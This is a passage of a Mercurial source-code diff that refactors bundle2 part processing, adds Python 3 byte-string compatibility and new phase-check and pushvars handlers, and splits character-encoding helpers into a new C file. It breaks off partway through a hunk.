+            op.ui.debug(''.join(msg))
+
+    return handler
+
 def _processpart(op, part):
     """process a single part from a bundle
 
     The part is guaranteed to have been fully consumed when the function exits
     (even if an exception is raised)."""
-    status = 'unknown' # used by debug output
-    hardabort = False
+    handler = _gethandler(op, part)
+    if handler is None:
+        return
+
+    # handler is called outside the above try block so that we don't
+    # risk catching KeyErrors from anything other than the
+    # parthandlermapping lookup (any KeyError raised by handler()
+    # itself represents a defect of a different variety).
+    output = None
+    if op.captureoutput and op.reply is not None:
+        op.ui.pushbuffer(error=True, subproc=True)
+        output = ''
     try:
-        try:
-            handler = parthandlermapping.get(part.type)
-            if handler is None:
-                status = 'unsupported-type'
-                raise error.BundleUnknownFeatureError(parttype=part.type)
-            indebug(op.ui, 'found a handler for part %r' % part.type)
-            unknownparams = part.mandatorykeys - handler.params
-            if unknownparams:
-                unknownparams = list(unknownparams)
-                unknownparams.sort()
-                status = 'unsupported-params (%s)' % unknownparams
-                raise error.BundleUnknownFeatureError(parttype=part.type,
-                                                      params=unknownparams)
-            status = 'supported'
-        except error.BundleUnknownFeatureError as exc:
-            if part.mandatory: # mandatory parts
-                raise
-            indebug(op.ui, 'ignoring unsupported advisory part %s' % exc)
-            return # skip to part processing
-        finally:
-            if op.ui.debugflag:
-                msg = ['bundle2-input-part: "%s"' % part.type]
-                if not part.mandatory:
-                    msg.append(' (advisory)')
-                nbmp = len(part.mandatorykeys)
-                nbap = len(part.params) - nbmp
-                if nbmp or nbap:
-                    msg.append(' (params:')
-                    if nbmp:
-                        msg.append(' %i mandatory' % nbmp)
-                    if nbap:
-                        msg.append(' %i advisory' % nbmp)
-                    msg.append(')')
-                msg.append(' %s\n' % status)
-                op.ui.debug(''.join(msg))
-
-        # handler is called outside the above try block so that we don't
-        # risk catching KeyErrors from anything other than the
-        # parthandlermapping lookup (any KeyError raised by handler()
-        # itself represents a defect of a different variety).
-        output = None
-        if op.captureoutput and op.reply is not None:
-            op.ui.pushbuffer(error=True, subproc=True)
-            output = ''
-        try:
-            handler(op, part)
-        finally:
-            if output is not None:
-                output = op.ui.popbuffer()
-            if output:
-                outpart = op.reply.newpart('output', data=output,
-                                           mandatory=False)
-                outpart.addparam('in-reply-to', str(part.id), mandatory=False)
-    # If exiting or interrupted, do not attempt to seek the stream in the
-    # finally block below. This makes abort faster.
-    except (SystemExit, KeyboardInterrupt):
-        hardabort = True
-        raise
+        handler(op, part)
     finally:
-        # consume the part content to not corrupt the stream.
-        if not hardabort:
-            part.seek(0, 2)
-
+        if output is not None:
+            output = op.ui.popbuffer()
+        if output:
+            outpart = op.reply.newpart('output', data=output,
+                                       mandatory=False)
+            outpart.addparam(
+                'in-reply-to', pycompat.bytestr(part.id), mandatory=False)
 
 def decodecaps(blob):
     """decode a bundle2 caps bytes blob into a dictionary
@@ -563,9 +613,9 @@
     def addparam(self, name, value=None):
         """add a stream level parameter"""
         if not name:
-            raise ValueError('empty parameter name')
-        if name[0] not in string.letters:
-            raise ValueError('non letter first character: %r' % name)
+            raise ValueError(r'empty parameter name')
+        if name[0:1] not in pycompat.bytestr(string.ascii_letters):
+            raise ValueError(r'non letter first character: %s' % name)
         self._params.append((name, value))
 
     def addpart(self, part):
@@ -741,14 +791,14 @@
               ignored or failing.
         """
         if not name:
-            raise ValueError('empty parameter name')
-        if name[0] not in string.letters:
-            raise ValueError('non letter first character: %r' % name)
+            raise ValueError(r'empty parameter name')
+        if name[0:1] not in pycompat.bytestr(string.ascii_letters):
+            raise ValueError(r'non letter first character: %s' % name)
         try:
             handler = b2streamparamsmap[name.lower()]
         except KeyError:
-            if name[0].islower():
-                indebug(self.ui, "ignoring unknown parameter %r" % name)
+            if name[0:1].islower():
+                indebug(self.ui, "ignoring unknown parameter %s" % name)
             else:
                 raise error.BundleUnknownFeatureError(params=(name,))
         else:
@@ -805,7 +855,11 @@
         while headerblock is not None:
             part = unbundlepart(self.ui, headerblock, self._fp)
             yield part
+            # Seek to the end of the part to force it's consumption so the next
+            # part can be read. But then seek back to the beginning so the
+            # code consuming this generator has a part that starts at 0.
             part.seek(0, 2)
+            part.seek(0)
             headerblock = self._readpartheader()
         indebug(self.ui, 'end of bundle2 stream')
 
@@ -964,7 +1018,8 @@
                 msg.append(')')
             if not self.data:
                 msg.append(' empty payload')
-            elif util.safehasattr(self.data, 'next'):
+            elif (util.safehasattr(self.data, 'next')
+                  or util.safehasattr(self.data, '__next__')):
                 msg.append(' streamed payload')
             else:
                 msg.append(' %i bytes payload' % len(self.data))
@@ -976,7 +1031,7 @@
             parttype = self.type.upper()
         else:
             parttype = self.type.lower()
-        outdebug(ui, 'part %s: "%s"' % (self.id, parttype))
+        outdebug(ui, 'part %s: "%s"' % (pycompat.bytestr(self.id), parttype))
         ## parttype
         header = [_pack(_fparttypesize, len(parttype)),
                   parttype, _pack(_fpartid, self.id),
@@ -994,7 +1049,7 @@
         for key, value in advpar:
             parsizes.append(len(key))
             parsizes.append(len(value))
-        paramsizes = _pack(_makefpartparamsizes(len(parsizes) / 2), *parsizes)
+        paramsizes = _pack(_makefpartparamsizes(len(parsizes) // 2), *parsizes)
         header.append(paramsizes)
         # key, value
         for key, value in manpar:
@@ -1004,7 +1059,11 @@
             header.append(key)
             header.append(value)
         ## finalize header
-        headerchunk = ''.join(header)
+        try:
+            headerchunk = ''.join(header)
+        except TypeError:
+            raise TypeError(r'Found a non-bytes trying to '
+                            r'build bundle part header: %r' % header)
         outdebug(ui, 'header chunk size: %i' % len(headerchunk))
         yield _pack(_fpartheadersize, len(headerchunk))
         yield headerchunk
@@ -1021,11 +1080,12 @@
             ui.debug('bundle2-generatorexit\n')
             raise
         except BaseException as exc:
+            bexc = util.forcebytestr(exc)
             # backup exception data for later
             ui.debug('bundle2-input-stream-interrupt: encoding exception %s'
-                     % exc)
+                     % bexc)
             tb = sys.exc_info()[2]
-            msg = 'unexpected error: %s' % exc
+            msg = 'unexpected error: %s' % bexc
             interpart = bundlepart('error:abort', [('message', msg)],
                                    mandatory=False)
             interpart.id = 0
@@ -1047,7 +1107,8 @@
         Exists to handle the different methods to provide data to a part."""
         # we only support fixed size data now.
         # This will be improved in the future.
-        if util.safehasattr(self.data, 'next'):
+        if (util.safehasattr(self.data, 'next')
+            or util.safehasattr(self.data, '__next__')):
             buff = util.chunkbuffer(self.data)
             chunk = buff.read(preferedchunksize)
             while chunk:
@@ -1095,7 +1156,15 @@
             return
         part = unbundlepart(self.ui, headerblock, self._fp)
         op = interruptoperation(self.ui)
-        _processpart(op, part)
+        hardabort = False
+        try:
+            _processpart(op, part)
+        except (SystemExit, KeyboardInterrupt):
+            hardabort = True
+            raise
+        finally:
+            if not hardabort:
+                part.seek(0, 2)
         self.ui.debug('bundle2-input-stream-interrupt:'
                       ' closing out of band context\n')
 
@@ -1213,7 +1282,7 @@
         self.type = self._fromheader(typesize)
         indebug(self.ui, 'part type: "%s"' % self.type)
         self.id = self._unpackheader(_fpartid)[0]
-        indebug(self.ui, 'part id: "%s"' % self.id)
+        indebug(self.ui, 'part id: "%s"' % pycompat.bytestr(self.id))
         # extract mandatory bit from type
         self.mandatory = (self.type != self.type.lower())
         self.type = self.type.lower()
@@ -1225,7 +1294,7 @@
         fparamsizes = _makefpartparamsizes(mancount + advcount)
         paramsizes = self._unpackheader(fparamsizes)
         # make it a list of couple again
-        paramsizes = zip(paramsizes[::2], paramsizes[1::2])
+        paramsizes = list(zip(paramsizes[::2], paramsizes[1::2]))
         # split mandatory from advisory
         mansizes = paramsizes[:mancount]
         advsizes = paramsizes[mancount:]
@@ -1327,6 +1396,7 @@
                 'digests': tuple(sorted(util.DIGESTS.keys())),
                 'remote-changegroup': ('http', 'https'),
                 'hgtagsfnodes': (),
+                'phases': ('heads',),
                }
 
 def getrepocaps(repo, allowpushback=False):
@@ -1345,6 +1415,8 @@
     cpmode = repo.ui.config('server', 'concurrent-push-mode')
     if cpmode == 'check-related':
         caps['checkheads'] = ('related',)
+    if 'phases' in repo.ui.configlist('devel', 'legacy.exchange'):
+        caps.pop('phases')
     return caps
 
 def bundle2caps(remote):
@@ -1364,7 +1436,7 @@
 def writenewbundle(ui, repo, source, filename, bundletype, outgoing, opts,
                    vfs=None, compression=None, compopts=None):
     if bundletype.startswith('HG10'):
-        cg = changegroup.getchangegroup(repo, source, outgoing, version='01')
+        cg = changegroup.makechangegroup(repo, outgoing, '01', source)
         return writebundle(ui, cg, filename, bundletype, vfs=vfs,
                            compression=compression, compopts=compopts)
     elif not bundletype.startswith('HG20'):
@@ -1392,12 +1464,11 @@
     cgversion = opts.get('cg.version')
     if cgversion is None:
         cgversion = changegroup.safeversion(repo)
-    cg = changegroup.getchangegroup(repo, source, outgoing,
-                                    version=cgversion)
+    cg = changegroup.makechangegroup(repo, outgoing, cgversion, source)
     part = bundler.newpart('changegroup', data=cg.getchunks())
     part.addparam('version', cg.version)
     if 'clcount' in cg.extras:
-        part.addparam('nbchanges', str(cg.extras['clcount']),
+        part.addparam('nbchanges', '%d' % cg.extras['clcount'],
                       mandatory=False)
     if opts.get('phases') and repo.revs('%ln and secret()',
                                         outgoing.missingheads):
@@ -1411,11 +1482,8 @@
 
     if opts.get('phases', False):
         headsbyphase = phases.subsetphaseheads(repo, outgoing.missing)
-        phasedata = []
-        for phase in phases.allphases:
-            for head in headsbyphase[phase]:
-                phasedata.append(_pack(_fphasesentry, phase, head))
-        bundler.newpart('phase-heads', data=''.join(phasedata))
+        phasedata = phases.binaryencode(headsbyphase)
+        bundler.newpart('phase-heads', data=phasedata)
 
 def addparttagsfnodescache(repo, bundler, outgoing):
     # we include the tags fnode cache for the bundle changeset
@@ -1473,7 +1541,7 @@
         part = bundle.newpart('changegroup', data=cg.getchunks())
         part.addparam('version', cg.version)
         if 'clcount' in cg.extras:
-            part.addparam('nbchanges', str(cg.extras['clcount']),
+            part.addparam('nbchanges', '%d' % cg.extras['clcount'],
                           mandatory=False)
         chunkiter = bundle.getchunks()
     else:
@@ -1554,7 +1622,8 @@
         # This is definitely not the final form of this
         # return. But one need to start somewhere.
         part = op.reply.newpart('reply:changegroup', mandatory=False)
-        part.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        part.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         part.addparam('return', '%i' % ret, mandatory=False)
     assert not inpart.read()
 
@@ -1617,7 +1686,8 @@
         # This is definitely not the final form of this
         # return. But one need to start somewhere.
         part = op.reply.newpart('reply:changegroup')
-        part.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        part.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         part.addparam('return', '%i' % ret, mandatory=False)
     try:
         real_part.validate()
@@ -1680,6 +1750,27 @@
             raise error.PushRaced('repository changed while pushing - '
                                   'please try again')
 
+@parthandler('check:phases')
+def handlecheckphases(op, inpart):
+    """check that phase boundaries of the repository did not change
+
+    This is used to detect a push race.
+    """
+    phasetonodes = phases.binarydecode(inpart)
+    unfi = op.repo.unfiltered()
+    cl = unfi.changelog
+    phasecache = unfi._phasecache
+    msg = ('repository changed while pushing - please try again '
+           '(%s is %s expected %s)')
+    for expectedphase, nodes in enumerate(phasetonodes):
+        for n in nodes:
+            actualphase = phasecache.phase(unfi, cl.rev(n))
+            if actualphase != expectedphase:
+                finalmsg = msg % (nodemod.short(n),
+                                  phases.phasenames[actualphase],
+                                  phases.phasenames[expectedphase])
+                raise error.PushRaced(finalmsg)
+
 @parthandler('output')
 def handleoutput(op, inpart):
     """forward output captured on the server to the client"""
@@ -1760,7 +1851,8 @@
     op.records.add('pushkey', record)
     if op.reply is not None:
         rpart = op.reply.newpart('reply:pushkey')
-        rpart.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        rpart.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         rpart.addparam('return', '%i' % ret, mandatory=False)
     if inpart.mandatory and not ret:
         kwargs = {}
@@ -1769,24 +1861,11 @@
                 kwargs[key] = inpart.params[key]
         raise error.PushkeyFailed(partid=str(inpart.id), **kwargs)
 
-def _readphaseheads(inpart):
-    headsbyphase = [[] for i in phases.allphases]
-    entrysize = struct.calcsize(_fphasesentry)
-    while True:
-        entry = inpart.read(entrysize)
-        if len(entry) < entrysize:
-            if entry:
-                raise error.Abort(_('bad phase-heads bundle part'))
-            break
-        phase, node = struct.unpack(_fphasesentry, entry)
-        headsbyphase[phase].append(node)
-    return headsbyphase
-
 @parthandler('phase-heads')
 def handlephases(op, inpart):
     """apply phases from bundle part to repo"""
-    headsbyphase = _readphaseheads(inpart)
-    phases.updatephases(op.repo.unfiltered(), op.gettransaction(), headsbyphase)
+    headsbyphase = phases.binarydecode(inpart)
+    phases.updatephases(op.repo.unfiltered(), op.gettransaction, headsbyphase)
 
 @parthandler('reply:pushkey', ('return', 'in-reply-to'))
 def handlepushkeyreply(op, inpart):
@@ -1815,7 +1894,8 @@
     op.records.add('obsmarkers', {'new': new})
     if op.reply is not None:
         rpart = op.reply.newpart('reply:obsmarkers')
-        rpart.addparam('in-reply-to', str(inpart.id), mandatory=False)
+        rpart.addparam(
+            'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False)
         rpart.addparam('new', '%i' % new, mandatory=False)
 
 
@@ -1849,3 +1929,17 @@
 
     cache.write()
     op.ui.debug('applied %i hgtags fnodes cache entries\n' % count)
+
+@parthandler('pushvars')
+def bundle2getvars(op, part):
+    '''unbundle a bundle2 containing shellvars on the server'''
+    # An option to disable unbundling on server-side for security reasons
+    if op.ui.configbool('push', 'pushvars.server'):
+        hookargs = {}
+        for key, value in part.advisoryparams:
+            key = key.upper()
+            # We want pushed variables to have USERVAR_ prepended so we know
+            # they came from the --pushvar flag.
+            key = "USERVAR_" + key
+            hookargs[key] = value
+        op.addhookargs(hookargs)
diff --git a/mercurial/bundlerepo.py b/mercurial/bundlerepo.py
--- a/mercurial/bundlerepo.py
+++ b/mercurial/bundlerepo.py
@@ -55,17 +55,9 @@
         self.bundle = bundle
         n = len(self)
         self.repotiprev = n - 1
-        chain = None
         self.bundlerevs = set() # used by 'bundle()' revset expression
-        getchunk = lambda: bundle.deltachunk(chain)
-        for chunkdata in iter(getchunk, {}):
-            node = chunkdata['node']
-            p1 = chunkdata['p1']
-            p2 = chunkdata['p2']
-            cs = chunkdata['cs']
-            deltabase = chunkdata['deltabase']
-            delta = chunkdata['delta']
-            flags = chunkdata['flags']
+        for deltadata in bundle.deltaiter():
+            node, p1, p2, cs, deltabase, delta, flags = deltadata
 
             size = len(delta)
             start = bundle.tell() - size
@@ -73,7 +65,6 @@
             link = linkmapper(cs)
             if node in self.nodemap:
                 # this can happen if two branches make the same change
-                chain = node
                 self.bundlerevs.add(self.nodemap[node])
                 continue
 
@@ -93,7 +84,6 @@
             self.index.insert(-1, e)
             self.nodemap[node] = n
             self.bundlerevs.add(n)
-            chain = node
             n += 1
 
     def _chunk(self, rev):
@@ -164,7 +154,7 @@
 
     def addrevision(self, text, transaction, link, p1=None, p2=None, d=None):
         raise NotImplementedError
-    def addgroup(self, revs, linkmapper, transaction):
+    def addgroup(self, deltas, transaction, addrevisioncb=None):
         raise NotImplementedError
     def strip(self, rev, minlink):
         raise NotImplementedError
@@ -264,24 +254,6 @@
 
 class bundlerepository(localrepo.localrepository):
     def __init__(self, ui, path, bundlename):
-        def _writetempbundle(read, suffix, header=''):
-            """Write a temporary file to disk
-
-            This is closure because we need to make sure this tracked by
-            self.tempfile for cleanup purposes."""
-            fdtemp, temp = self.vfs.mkstemp(prefix="hg-bundle-",
-                                            suffix=".hg10un")
-            self.tempfile = temp
-
-            with os.fdopen(fdtemp, pycompat.sysstr('wb')) as fptemp:
-                fptemp.write(header)
-                while True:
-                    chunk = read(2**18)
-                    if not chunk:
-                        break
-                    fptemp.write(chunk)
-
-            return self.vfs.open(self.tempfile, mode="rb")
         self._tempparent = None
         try:
             localrepo.localrepository.__init__(self, ui, path)
@@ -301,30 +273,22 @@
         self.bundlefile = self.bundle = exchange.readbundle(ui, f, bundlename)
 
         if isinstance(self.bundle, bundle2.unbundle20):
-            cgstream = None
+            hadchangegroup = False
             for part in self.bundle.iterparts():
                 if part.type == 'changegroup':
-                    if cgstream is not None:
+                    if hadchangegroup:
                         raise NotImplementedError("can't process "
                                                   "multiple changegroups")
-                    cgstream = part
-                    version = part.params.get('version', '01')
-                    legalcgvers = changegroup.supportedincomingversions(self)
-                    if version not in legalcgvers:
-                        msg = _('Unsupported changegroup version: %s')
-                        raise error.Abort(msg % version)
-                    if self.bundle.compressed():
-                        cgstream = _writetempbundle(part.read,
-                                                    ".cg%sun" % version)
+                    hadchangegroup = True
 
-            if cgstream is None:
-                raise error.Abort(_('No changegroups found'))
-            cgstream.seek(0)
+                self._handlebundle2part(part)
 
-            self.bundle = changegroup.getunbundler(version, cgstream, 'UN')
+            if not hadchangegroup:
+                raise error.Abort(_("No changegroups found"))
 
         elif self.bundle.compressed():
-            f = _writetempbundle(self.bundle.read, '.hg10un', header='HG10UN')
+            f = self._writetempbundle(self.bundle.read, '.hg10un',
+                                      header='HG10UN')
             self.bundlefile = self.bundle = exchange.readbundle(ui, f,
                                                                 bundlename,
                                                                 self.vfs)
@@ -336,6 +300,37 @@
         phases.retractboundary(self, None, phases.draft,
                                [ctx.node() for ctx in self[self.firstnewrev:]])
 
+    def _handlebundle2part(self, part):
+        if part.type == 'changegroup':
+            cgstream = part
+            version = part.params.get('version', '01')
+            legalcgvers = changegroup.supportedincomingversions(self)
+            if version not in legalcgvers:
+                msg = _('Unsupported changegroup version: %s')
+                raise error.Abort(msg % version)
+            if self.bundle.compressed():
+                cgstream = self._writetempbundle(part.read,
+                                                 ".cg%sun" % version)
+
+            self.bundle = changegroup.getunbundler(version, cgstream, 'UN')
+
+    def _writetempbundle(self, readfn, suffix, header=''):
+        """Write a temporary file to disk
+        """
+        fdtemp, temp = self.vfs.mkstemp(prefix="hg-bundle-",
+                                        suffix=".hg10un")
+        self.tempfile = temp
+
+        with os.fdopen(fdtemp, pycompat.sysstr('wb')) as fptemp:
+            fptemp.write(header)
+            while True:
+                chunk = readfn(2**18)
+                if not chunk:
+                    break
+                fptemp.write(chunk)
+
+        return self.vfs.open(self.tempfile, mode="rb")
+
     @localrepo.unfilteredpropertycache
     def _phasecache(self):
         return bundlephasecache(self, self._phasedefaults)
diff --git a/mercurial/byterange.py b/mercurial/byterange.py
--- a/mercurial/byterange.py
+++ b/mercurial/byterange.py
@@ -28,6 +28,7 @@
 import stat
 
 from . import (
+    urllibcompat,
     util,
 )
 
@@ -44,7 +45,6 @@
 
 class RangeError(IOError):
     """Error raised when an unsatisfiable range is requested."""
-    pass
 
 class HTTPRangeHandler(urlreq.basehandler):
     """Handler that enables HTTP Range headers.
@@ -91,7 +91,7 @@
     Examples:
         # expose 10 bytes, starting at byte position 20, from
         # /etc/aliases.
-        >>> fo = RangeableFileObject(file('/etc/passwd', 'r'), (20,30))
+        >>> fo = RangeableFileObject(file(b'/etc/passwd', b'r'), (20,30))
         # seek seeks within the range (to position 23 in this case)
         >>> fo.seek(3)
         # tell tells where your at _within the range_ (position 3 in
@@ -215,8 +215,8 @@
     server would.
     """
     def open_local_file(self, req):
-        host = req.get_host()
-        file = req.get_selector()
+        host = urllibcompat.gethost(req)
+        file = urllibcompat.getselector(req)
         localfile = urlreq.url2pathname(file)
         stats = os.stat(localfile)
         size = stats[stat.ST_SIZE]
@@ -253,7 +253,7 @@
 
 class FTPRangeHandler(urlreq.ftphandler):
     def ftp_open(self, req):
-        host = req.get_host()
+        host = urllibcompat.gethost(req)
         if not host:
             raise IOError('ftp error', 'no host given')
         host, port = splitport(host)
diff --git a/mercurial/cext/base85.c b/mercurial/cext/base85.c
--- a/mercurial/cext/base85.c
+++ b/mercurial/cext/base85.c
@@ -96,14 +96,12 @@
 	dst = PyBytes_AsString(out);
 
 	i = 0;
-	while (i < len)
-	{
+	while (i < len) {
 		acc = 0;
 		cap = len - i - 1;
 		if (cap > 4)
 			cap = 4;
-		for (j = 0; j < cap; i++, j++)
-		{
+		for (j = 0; j < cap; i++, j++) {
 			c = b85dec[(int)*text++] - 1;
 			if (c < 0)
 				return PyErr_Format(
@@ -112,8 +110,7 @@
 					(int)i);
 			acc = acc * 85 + c;
 		}
-		if (i++ < len)
-		{
+		if (i++ < len) {
 			c = b85dec[(int)*text++] - 1;
 			if (c < 0)
 				return PyErr_Format(
@@ -136,8 +133,7 @@
 			acc *= 85;
 		if (cap && cap < 4)
 			acc += 0xffffff >> (cap - 1) * 8;
-		for (j = 0; j < cap; j++)
-		{
+		for (j = 0; j < cap; j++) {
 			acc = (acc << 8) | (acc >> 24);
 			*dst++ = acc;
 		}
diff --git a/mercurial/cext/bdiff.c b/mercurial/cext/bdiff.c
--- a/mercurial/cext/bdiff.c
+++ b/mercurial/cext/bdiff.c
@@ -11,9 +11,9 @@
 
 #define PY_SSIZE_T_CLEAN
 #include <Python.h>
+#include <limits.h>
 #include <stdlib.h>
 #include <string.h>
-#include <limits.h>
 
 #include "bdiff.h"
 #include "bitmanipulation.h"
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/charencode.c
copy from mercurial/cext/parsers.c
copy to mercurial/cext/charencode.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/charencode.c
@@ -1,5 +1,5 @@
 /*
- parsers.c - efficient content parsing
+ charencode.c - miscellaneous character encoding
 
  Copyright 2008 Matt Mackall <mpm@selenic.com> and others
 
@@ -7,28 +7,23 @@
  the GNU General Public License, incorporated herein by reference.
 */
 
+#define PY_SSIZE_T_CLEAN
 #include <Python.h>
-#include <ctype.h>
-#include <stddef.h>
-#include <string.h>
+#include <assert.h>
 
+#include "charencode.h"
+#include "compat.h"
 #include "util.h"
-#include "bitmanipulation.h"
 
 #ifdef IS_PY3K
 /* The mapping of Python types is meant to be temporary to get Python
  * 3 to compile. We should remove this once Python 3 support is fully
  * supported and proper types are used in the extensions themselves. */
 #define PyInt_Type PyLong_Type
-#define PyInt_Check PyLong_Check
-#define PyInt_FromLong PyLong_FromLong
-#define PyInt_FromSsize_t PyLong_FromSsize_t
 #define PyInt_AS_LONG PyLong_AS_LONG
-#define PyInt_AsLong PyLong_AsLong
 #endif
 
-static const char *const versionerrortext = "Python minor version mismatch";
-
+/* clang-format off */
 static const char lowertable[128] = {
 	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
 	'\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f',
@@ -70,15 +65,52 @@
 	'\x58', '\x59', '\x5a', 					/* x-z */
 				'\x7b', '\x7c', '\x7d', '\x7e', '\x7f'
 };
+/* clang-format on */
+
+/* 1: no escape, 2: \<c>, 6: \u<x> */
+static const uint8_t jsonlentable[256] = {
+	6, 6, 6, 6, 6, 6, 6, 6, 2, 2, 2, 6, 2, 2, 6, 6, /* b, t, n, f, r */
+	6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
+	1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* " */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, /* \\ */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, /* DEL */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+};
+
+static const uint8_t jsonparanoidlentable[128] = {
+	6, 6, 6, 6, 6, 6, 6, 6, 2, 2, 2, 6, 2, 2, 6, 6, /* b, t, n, f, r */
+	6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
+	1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* " */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, 1, 6, 1, /* <, > */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, /* \\ */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, /* DEL */
+};
+
+static const char hexchartable[16] = {
+	'0', '1', '2', '3', '4', '5', '6', '7',
+	'8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
+};
 
 /*
  * Turn a hex-encoded string into binary.
  */
-PyObject *unhexlify(const char *str, int len)
+PyObject *unhexlify(const char *str, Py_ssize_t len)
 {
 	PyObject *ret;
 	char *d;
-	int i;
+	Py_ssize_t i;
 
 	ret = PyBytes_FromStringAndSize(NULL, len / 2);
 
@@ -96,6 +128,29 @@
 	return ret;
 }
 
+PyObject *isasciistr(PyObject *self, PyObject *args)
+{
+	const char *buf;
+	Py_ssize_t i, len;
+	if (!PyArg_ParseTuple(args, "s#:isasciistr", &buf, &len))
+		return NULL;
+	i = 0;
+	/* char array in PyStringObject should be at least 4-byte aligned */
+	if (((uintptr_t)buf & 3) == 0) {
+		const uint32_t *p = (const uint32_t *)buf;
+		for (; i < len / 4; i++) {
+			if (p[i] & 0x80808080U)
+				Py_RETURN_FALSE;
+		}
+		i *= 4;
+	}
+	for (; i < len; i++) {
+		if (buf[i] & 0x80)
+			Py_RETURN_FALSE;
+	}
+	Py_RETURN_TRUE;
+}
+
 static inline PyObject *_asciitransform(PyObject *str_obj,
 					const char table[128],
 					PyObject *fallback_fn)
@@ -139,7 +194,7 @@
 	return ret;
 }
 
-static PyObject *asciilower(PyObject *self, PyObject *args)
+PyObject *asciilower(PyObject *self, PyObject *args)
 {
 	PyObject *str_obj;
 	if (!PyArg_ParseTuple(args, "O!:asciilower", &PyBytes_Type, &str_obj))
@@ -147,7 +202,7 @@
 	return _asciitransform(str_obj, lowertable, NULL);
 }
 
-static PyObject *asciiupper(PyObject *self, PyObject *args)
+PyObject *asciiupper(PyObject *self, PyObject *args)
 {
 	PyObject *str_obj;
 	if (!PyArg_ParseTuple(args, "O!:asciiupper", &PyBytes_Type, &str_obj))
@@ -155,29 +210,7 @@
 	return _asciitransform(str_obj, uppertable, NULL);
 }
 
-static inline PyObject *_dict_new_presized(Py_ssize_t expected_size)
-{
-	/* _PyDict_NewPresized expects a minused parameter, but it actually
-	   creates a dictionary that's the nearest power of two bigger than the
-	   parameter. For example, with the initial minused = 1000, the
-	   dictionary created has size 1024. Of course in a lot of cases that
-	   can be greater than the maximum load factor Python's dict object
-	   expects (= 2/3), so as soon as we cross the threshold we'll resize
-	   anyway. So create a dictionary that's at least 3/2 the size. */
-	return _PyDict_NewPresized(((1 + expected_size) / 2) * 3);
-}
-
-static PyObject *dict_new_presized(PyObject *self, PyObject *args)
-{
-	Py_ssize_t expected_size;
-
-	if (!PyArg_ParseTuple(args, "n:make_presized_dict", &expected_size))
-		return NULL;
-
-	return _dict_new_presized(expected_size);
-}
-
-static PyObject *make_file_foldmap(PyObject *self, PyObject *args)
+PyObject *make_file_foldmap(PyObject *self, PyObject *args)
 {
 	PyObject *dmap, *spec_obj, *normcase_fallback;
 	PyObject *file_foldmap = NULL;
@@ -248,762 +281,121 @@
 	return NULL;
 }
 
-/*
- * This code assumes that a manifest is stitched together with newline
- * ('\n') characters.
- */
-static PyObject *parse_manifest(PyObject *self, PyObject *args)
+/* calculate length of JSON-escaped string; returns -1 if unsupported */
+static Py_ssize_t jsonescapelen(const char *buf, Py_ssize_t len, bool paranoid)
 {
-	PyObject *mfdict, *fdict;
-	char *str, *start, *end;
-	int len;
-
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_manifest",
-			      &PyDict_Type, &mfdict,
-			      &PyDict_Type, &fdict,
-			      &str, &len))
-		goto quit;
-
-	start = str;
-	end = str + len;
-	while (start < end) {
-		PyObject *file = NULL, *node = NULL;
-		PyObject *flags = NULL;
-		char *zero = NULL, *newline = NULL;
-		ptrdiff_t nlen;
-
-		zero = memchr(start, '\0', end - start);
-		if (!zero) {
-			PyErr_SetString(PyExc_ValueError,
-					"manifest entry has no separator");
-			goto quit;
-		}
-
-		newline = memchr(zero + 1, '\n', end - (zero + 1));
-		if (!newline) {
-			PyErr_SetString(PyExc_ValueError,
-					"manifest contains trailing garbage");
-			goto quit;
-		}
-
-		file = PyBytes_FromStringAndSize(start, zero - start);
-
-		if (!file)
-			goto bail;
-
-		nlen = newline - zero - 1;
-
-		node = unhexlify(zero + 1, nlen > 40 ? 40 : (int)nlen);
-		if (!node)
-			goto bail;
-
-		if (nlen > 40) {
-			flags = PyBytes_FromStringAndSize(zero + 41,
